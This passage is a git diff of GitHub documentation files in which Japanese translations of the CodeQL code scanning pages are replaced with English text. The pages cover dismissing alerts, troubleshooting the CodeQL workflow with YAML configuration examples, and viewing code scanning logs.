checks. If your changes fix the problem, the alert is closed and the annotation removed. -## Pull Requestのアラートの却下 +## Dismissing an alert on your pull request -アラートを閉じる別の方法として、却下する方法があります。 修正する必要がないと考えられる場合は、アラートを却下できます。 {% data reusables.code-scanning.close-alert-examples %} リポジトリに書き込み権限を持っているなら、コードのアノテーションとアラートのサマリで**Dismiss（却下）**ボタンが利用できます。 **Dismiss（却下）**をクリックすると、アラートをクローズする理由を選択することが求められます。 +An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert. -![アラートを却下する理由の選択](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) +![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) {% data reusables.code-scanning.choose-alert-dismissal-reason %} {% data reusables.code-scanning.false-positive-fix-codeql %} -アラートの却下に関する詳しい情報については「[リポジトリの{% data variables.product.prodname_code_scanning %}アラートの管理](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)」を参照してください。 +For more information about dismissing alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)." diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md index 669d53c19a..96dec45cdf 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md @@ -1,7 +1,7 @@ --- -title: CodeQL ワークフローのトラブルシューティング -shortTitle: CodeQLワークフローのトラブルシューティング -intro: '{% data variables.product.prodname_code_scanning %} で問題が生じている場合、ここに掲載されている問題解決のためのヒントを使ってトラブルを解決できます。' +title: Troubleshooting the CodeQL workflow +shortTitle: Troubleshoot CodeQL workflow +intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning @@ -26,25 +26,42 @@ topics: - C# - Java --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %} -## デバッグ用の詳細なログを生成する +## Producing detailed logs for debugging -詳細なログ出力を生成するため、ステップのデバッグロギングを有効化することができます。 詳しい情報については、「[デバッグログの有効化](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)」を参照してください。 +To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)." -## コンパイル言語の自動ビルドの失敗 +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5601 %} -プロジェクト内のコンパイル言語のコードの自動ビルドが失敗した場合は、次のトラブルシューティングのステップを試してください。 +## Creating {% data variables.product.prodname_codeql %} debugging artifacts -- {% data variables.product.prodname_code_scanning %} ワークフローから `autobuild` ステップを削除し、特定のビルドステップを追加します。 ワークフローの編集に関する詳しい情報は、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」を参照してください。 `autobuild` ステップの置き換えに関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 +You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %} by setting a debug configuration flag. Modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`. -- ワークフローが解析する言語を明示的に指定していない場合、{% data variables.product.prodname_codeql %} はコードベースでサポートされている言語を暗黙的に検出します。 この設定では、コンパイル型言語である C/C++、C#、Java のうち、{% data variables.product.prodname_codeql %} はソースファイルの数が最も多い言語のみを解析します。 ワークフローを編集し、解析する言語を指定したビルドマトリクスを追加してください。 デフォルトの CodeQL 解析では、こうしたマトリクスを使用しています。 +``` +- name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + debug: true +``` +The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. - 以下はワークフローからの抜粋で、まず言語を指定するジョブ戦略におけるマトリクスの使用法を示し、次に「Initialize {% data variables.product.prodname_codeql %}」のステップで各言語を参照しています。 +These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} code scanning. If you contact GitHub support, they might ask for this data. + +{% endif %} + +## Automatic build for a compiled language fails + +If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps. + +- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a build matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix. + + The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step: ```yaml jobs: @@ -66,13 +83,13 @@ topics: languages: {% raw %}${{ matrix.language }}{% endraw %} ``` - ワークフローの編集に関する詳しい情報については、「[コードスキャンを設定する](/code-security/secure-coding/configuring-code-scanning)」を参照してください。 + For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)." -## ビルド中にコードが見つからない +## No code found during the build -ワークフローでエラー `No source code was seen during the build` または `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32` が発生した場合、{% data variables.product.prodname_codeql %} がコードを監視できなかったことを示しています。 このようなエラーが発生する理由として、次のようなものがあります。 +If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure: -1. 自動言語検出により、サポートされている言語が特定されたが、リポジトリにその言語の分析可能なコードがない。 一般的な例としては、言語検出サービスが `.h` や `.gyp` ファイルなどの特定のプログラミング言語に関連付けられたファイルを見つけたが、対応する実行可能コードがリポジトリに存在しない場合です。 この問題を解決するには、`language` マトリクスにある言語のリストを更新し、解析する言語を手動で定義します。 たとえば、次の設定では Go と JavaScript のみを分析します。 +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript. ```yaml strategy: @@ -83,28 +100,28 @@ topics: language: ['go', 'javascript'] ``` - 詳しい情報については、上記「[コンパイル言語の自動ビルドの失敗](#automatic-build-for-a-compiled-language-fails)」にあるワークフローの抜粋を参照してください。 -1. {% data variables.product.prodname_code_scanning %} ワークフローはコンパイルされた言語（C、C++、C#、または Java）を分析しているが、コードはコンパイルされていない。 デフォルトでは、{% data variables.product.prodname_codeql %} 分析ワークフローには `autobuild` ステップが含まれていますが、このステップはベスト エフォートプロセスを表しており、特定のビルド環境によっては、コードのビルドに失敗する可能性があります。 `autobuild` ステップを削除し、ビルドステップを手動で含めない場合も、コンパイルが失敗する可能性があります。 ビルドステップの指定に関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 -1. ワークフローはコンパイルされた言語（C、C++、C#、または Java）を分析しているが、パフォーマンスを向上させるためにビルドの一部がキャッシュされている（Gradle や Bazel などのビルドシステムで発生する可能性が最も高い）。 {% data variables.product.prodname_codeql %} はコンパイラのアクティビティを監視してリポジトリ内のデータフローを理解するため、{% data variables.product.prodname_codeql %} は分析を実行するために完全なビルドを実行する必要があります。 -1. ワークフローはコンパイルされた言語（C、C++、C＃、または Java）を分析しているが、ワークフローの `init` ステップと `analyze` ステップの間でコンパイルが行われていない。 {% data variables.product.prodname_codeql %} では、コンパイラのアクティビティを監視して分析を実行するために、これらの 2 つのステップ間でビルドを行う必要があります。 -1. コンパイルされたコード（C、C++、C#、または Java）は正常にコンパイルされたが、{% data variables.product.prodname_codeql %} がコンパイラの呼び出しを検出できない。 一般的な原因は次のようなものです。 + For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. +1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#, or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually. For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." +1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. +1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. +1. Your compiled code (in C, C++, C#, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are: - * ビルドプロセスを {% data variables.product.prodname_codeql %} とは別のコンテナで実行している。 詳しい情報については、「[コンテナで CodeQL コードスキャンを実行する](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)」を参照してください。 - * デーモンプロセスを使用して、GitHub Actions の外部で分散ビルドシステムによりビルドしている。 - * {% data variables.product.prodname_codeql %} は、使用されているコンパイラを認識していない。 + * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." + * Building using a distributed build system external to GitHub Actions, using a daemon process. + * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using. - .NET Framework プロジェクト、および .NET Core 2 をターゲットとする `dotnet build` または `msbuild` を使用する C# プロジェクトでは、コードをビルドするときに、ワークフローの `run` ステップで `/p:UseSharedCompilation=false` を指定する必要があります。 .NET Core 3.0 以降では、`UseSharedCompilation` フラグは必要ありません。 - - たとえば、次の C# に対する設定では、最初のビルドステップ中にフラグが渡されます。 + For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild` that target .NET Core 2, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code. The `UseSharedCompilation` flag isn't necessary for .NET Core 3.0 and later. + + For example, the following configuration for C# will pass the flag during the first build step. ``` yaml - run: | dotnet build /p:UseSharedCompilation=false ``` - 特定のコンパイラまたは設定で別の問題が発生した場合は、{% data variables.contact.contact_support %} までお問い合わせください。 + If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}. -ビルドステップの指定に関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 +For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ## Lines of code scanned are lower than expected @@ -116,9 +133,10 @@ For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.p If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled. -### Replace the `autobuild` step +### Replace the `autobuild` step -Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. 詳しい情報については、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 +Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. +For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." ### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, add an `upload-artifact` action after the analysis step in your code scanning workflow: @@ -134,68 +152,69 @@ The artifact will contain an archived copy of the source files scanned by {% dat ## Extraction errors in the database -The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis. +The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. +The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis. However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly. {% else %} -## リポジトリの一部が `autobuild` を使用して分析されない +## Portions of my repository were not analyzed using `autobuild` -{% data variables.product.prodname_codeql %} の `autobuild` 機能は、ヒューリスティックスを使用してリポジトリにコードをビルドしますが、このアプローチでは、リポジトリの分析が不完全になることがあります。 たとえば、単一のリポジトリに複数の `build.sh` コマンドが存在する場合、`autobuild` ステップはコマンドの 1 つしか実行しないため、分析が完了しない場合があります。 これを解決するには、`autobuild` ステップを、分析するすべてのソースコードをビルドするビルドステップに置き換えます。 詳しい情報については、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。 +The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." {% endif %} -## ビルドに時間がかかりすぎる +## The build takes too long -{% data variables.product.prodname_codeql %} 分析でのビルドの実行に時間がかかりすぎる場合は、ビルド時間を短縮するための方法がいくつかあります。 +If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. -### メモリまたはコアを増やす +### Increase the memory or cores -セルフホストランナーを使用して {% data variables.product.prodname_codeql %} 解析を実行している場合、ランナーのメモリやコア数を増やすことができます。 +If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners. -### マトリックスビルドを使用して分析を並列化する +### Use matrix builds to parallelize the analysis -デフォルトの {% data variables.product.prodname_codeql_workflow %} は言語のビルドマトリクスを使用しており、これにより各言語の解析が並列で実行される場合があります。 「Initialize CodeQL」ステップで解析する言語を直接指定している場合、各言語の解析は順次行われます。 複数の言語で解析を高速化するには、マトリクスを使用するようワークフローを変更してください。 詳しい情報については、上記「[コンパイル言語の自動ビルドの失敗](#automatic-build-for-a-compiled-language-fails)」にあるワークフローの抜粋を参照してください。 +The default {% data variables.product.prodname_codeql_workflow %} uses a build matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. -### 1 つのワークフローで分析されるコードの量を減らす +### Reduce the amount of code being analyzed in a single workflow -一般的に、分析時間は分析されるコードの量に比例します。 たとえば、テストコードを除外したり、一度にコードのサブセットのみを分析する複数のワークフローに分析を分割したりするなど、一度に分析されるコードの量を減らすことで、分析時間を短縮できます。 +Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time. -Java、C、C++、C# などのコンパイルされた言語の場合、{% data variables.product.prodname_codeql %} はワークフローの実行中に作成されたすべてのコードを分析します。 分析するコードの量を制限するには、`run` ブロックで独自のビルドステップを指定して、分析するコードのみをビルドします。 独自のビルドステップの指定と、`pull_request` および `push` イベントの `paths` または `paths-ignore` フィルタの使用を組み合わせて、特定のコードが変更されたときにのみワークフローが実行されるようにすることができます。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)」を参照してください。 +For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." -指定のビルドなしで {% data variables.product.prodname_codeql %} が分析する Go、JavaScript、Python、TypeScript などのインタプリタ言語の場合、追加の設定オプションを指定して分析するコードの量を制限できます。 詳しい情報については、「[スキャンするディレクトリを指定する](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)」を参照してください。 +For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)." -上記のように分析を複数のワークフローに分割する場合でも、リポジトリ内のすべてのコードを分析する `schedule` で実行されるワークフローを少なくとも 1 つ用意することをお勧めします。 {% data variables.product.prodname_codeql %} はコンポーネント間のデータフローを分析するため、一部の複雑なセキュリティ動作は完全なビルドでのみ検出される場合があります。 +If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. -### `schedule` イベント中にのみ実行する +### Run only during a `schedule` event -それでも分析が遅すぎるために、`push` または `pull_request` イベント中に実行できない場合は、`schedule` イベントでのみ分析をトリガーすることをお勧めします。 詳しい情報については、「[イベント](/actions/learn-github-actions/introduction-to-github-actions#events)」を参照してください。 +If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)." {% ifversion fpt or ghec %} -## 分析プラットフォーム間で結果が異なる +## Results differ between analysis platforms -Pythonで書かれたコードを分析しているなら、{% data variables.product.prodname_codeql_workflow %}をLinux、macOS、Windowsのいずれで実行しているかによって、異なる結果が得られるかもしれません。 +If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows. -GitHubがホストするLinuxを使用したランナーでは、{% data variables.product.prodname_codeql_workflow %}はPythonの依存関係をインストールして分析しようとし、それによってより多くの結果につながることがあります。 自動インストールを無効にするには、ワークフローの"Initialize CodeQL"ステップに`setup-python-dependencies: false`を追加してください。 Pythonの依存関係の分析の設定に関する詳しい情報については「[Pythonの依存関係の分析](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)」を参照してください。 +On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)." {% endif %} -## エラー: 「サーバーエラー」 +## Error: "Server error" -サーバーエラーにより {% data variables.product.prodname_code_scanning %} のワークフローが実行できない場合は、ワークフローを再実行してください。 問題が解決しない場合は、{% data variables.contact.contact_support %} にお問い合わせください。 +If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}. -## エラー:「ディスク不足」または「メモリ不足」 +## Error: "Out of disk" or "Out of memory" On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner. -{% ifversion fpt or ghec %}ホストされた{% data variables.product.prodname_actions %}ランナーでこの問題が生じた場合は、弊社が問題を調査できるよう{% data variables.contact.contact_support %}に連絡してください。 -{% else %}この問題が生じたら、ランナー上のメモリを増やしてみてください。{% endif %} +{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem. +{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %} {% ifversion fpt or ghec %} -## {% data variables.product.prodname_dependabot %}を使用している際のError: 403 "Resource not accessible by integration" +## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %} -{% data variables.product.prodname_dependabot %}は、ワークフローの実行をトリガーする際に信頼できないと見なされ、ワークフローは読み取りのみのスコープで実行されます。 ブランチに対する{% data variables.product.prodname_code_scanning %}の結果をアップロードするには、通常`security_events: write`スコープが必要になります。 ただし、`pull_request`イベントがアクションの実行をトリガーした際には、{% data variables.product.prodname_code_scanning %}初音に結果のアップロードを許可します。 これが、{% data variables.product.prodname_dependabot %}ブランチでは`push`イベントの代わりに`pull_request`イベントを使うことをおすすめする理由です。 +{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event. -シンプルなアプローチは、このブランチ群に対してオープンされたPull Requestとともに、デフォルトブランチやその他の重要な長時間実行されるブランチに対するプッシュで実行することです。 +A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches: ```yaml on: push: @@ -205,7 +224,7 @@ on: branches: - main ``` -別のアプローチは、{% data variables.product.prodname_dependabot %}ブランチを除くすべてのプッシュに対して実行することです。 +An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches: ```yaml on: push: @@ -214,18 +233,18 @@ on: pull_request: ``` -### デフォルトブランチで分析が引き続き失敗する +### Analysis still failing on the default branch -{% data variables.product.prodname_codeql_workflow %}がデフォルトブランチに対するコミットで依然として失敗するなら、以下を確認してください。 -- {% data variables.product.prodname_dependabot %}がそのコミットを作成したか -- コミットを含むPull Requestが`@dependabot squash and merge`を使ってマージされたかどうか +If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check: +- whether {% data variables.product.prodname_dependabot %} authored the commit +- whether the pull request that includes the commit has been merged using `@dependabot squash and merge` -この種のマージコミットは{% data variables.product.prodname_dependabot %}によって作成されるので、このコミットで実行されるワークフローは読み取りのみの権限を持つことになります。 {% data variables.product.prodname_code_scanning %}と{% data variables.product.prodname_dependabot %}のセキュリティ更新またはバージョン更新をリポジトリで有効化した場合は、{% data variables.product.prodname_dependabot %}の`@dependabot squash and merge`コマンドは使わないことをおすすめします。 その代わりに、リポジトリで自動マージを有効化できます。 これは、すべての必須レビューが満たされ、ステータスチェックをパスしたら、Pyll Requestは自動的にマージされるということです。 自動マージの有効化に関する詳しい情報については「[Pull Requestの自動マージ](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)」を参照してください。 +This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)." {% endif %} ## Warning: "git checkout HEAD^2 is no longer necessary" -古い{% data variables.product.prodname_codeql %}ワークフローを使っていると、"Initialize {% data variables.product.prodname_codeql %}"アクションからの出力に以下の警告が含まれていることがあります。 +If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action: ``` Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer @@ -233,32 +252,32 @@ necessary. Please remove this step as Code Scanning recommends analyzing the mer commit for best results. ``` -これは、以下の行を{% data variables.product.prodname_codeql %}ワークフローから削除することによって修正してください。 これらの行は、初期バージョンの{% data variables.product.prodname_codeql %}ワークフロー中の`Analyze`ジョブの`steps`セクションに含まれています。 +Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow. ```yaml with: - # これがPull Requestであればheadをチェックアウトできるよう、 - # 少なくとも直接の親をフェッチしなければならない。 + # We must fetch at least the immediate parents so that if this is + # a pull request then we can checkout the head. fetch-depth: 2 - # この実行がPull Requestのイベントでトリガされたのなら、 - # マージコミットの代わりにPull Requestのheadをチェックアウトする。 + # If this run was triggered by a pull request event, then checkout + # the head of the pull request instead of the merge commit. - run: git checkout HEAD^2 if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} ``` -ワークフローの修正された`steps`セクションは以下のようになります。 +The revised `steps` section of the workflow will look like this: ```yaml steps: - name: Checkout repository uses: actions/checkout@v2 - # {% data variables.product.prodname_codeql %}ツールをスキャンニングのために初期化。 + # Initializes the {% data variables.product.prodname_codeql %} tools for scanning. - name: Initialize {% data variables.product.prodname_codeql %} uses: github/codeql-action/init@v1 ... ``` -{% data variables.product.prodname_codeql %} ワークフローファイルの編集に関する詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を編集する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」を参照してください。 +For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md index 72eaba282e..cf3525beb6 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md @@ -1,6 +1,6 @@ --- -title: Code scanningログの表示 -intro: '{% data variables.product.product_location %}の{% data variables.product.prodname_code_scanning %}分析で生成された出力を見ることができます。' +title: Viewing code scanning logs +intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.product.product_location %}.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.' miniTocMaxHeadingLevel: 4 @@ -13,70 +13,70 @@ versions: ghec: '*' topics: - Security -shortTitle: Code scanningログの表示 +shortTitle: View code scanning logs --- {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## {% data variables.product.prodname_code_scanning %}のセットアップについて +## About your {% data variables.product.prodname_code_scanning %} setup -リポジトリでの{% data variables.product.prodname_code_scanning %}のセットアップには、様々なツールを使うことができます。 詳しい情報については「[リポジトリに対する{% data 